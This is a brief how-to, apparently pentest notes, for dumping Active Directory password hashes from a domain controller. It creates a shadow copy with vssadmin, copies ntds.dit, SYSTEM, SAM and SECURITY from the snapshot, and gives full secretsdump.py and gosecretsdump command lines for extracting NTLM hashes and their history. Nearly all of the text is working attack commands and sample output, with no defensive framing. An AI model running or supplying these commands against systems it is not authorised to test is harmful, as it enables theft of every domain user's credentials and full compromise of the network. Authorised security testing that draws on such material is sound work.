On Domain Controller - create snapshot with vssadmin.exe
.
PS C:\temp> vssadmin.exe create shadow /for=C:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.
Successfully created shadow copy for 'C:\'
Shadow Copy ID: {3d781b5d-e053-41ad-85d4-5b8f1ffb2d42}
Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5
PS C:\temp>
To make it easy for yourself and extract the ntds.dit
and SYSTEM
file from the ShadowCopy, you can use ShadowCopyView
Path: C:\Windows\NTDS\ntds.dit
Path: C:\Windows\System32\config\SYSTEM
Preferably you want to also make a copy of:
C:\Windows\System32\config\SECURITY
C:\Windows\System32\config\SAM
It can happen that secretsdump.py keeps looping and throwing out hashes. In this case, or maybe even preferably, use Gosecretsdump.
secretsdump.py -system SYSTEM -ntds ntds.dit -hashes lmhash:nthash LOCAL -outputfile extracted-hashes -just-dc-ntlm -user-status -history
./gosecretsdump -system SYSTEM -ntds NTDS.DIT -history -status -out hashes.log
Example NTDS.dit
and SYSTEM
files zipped below.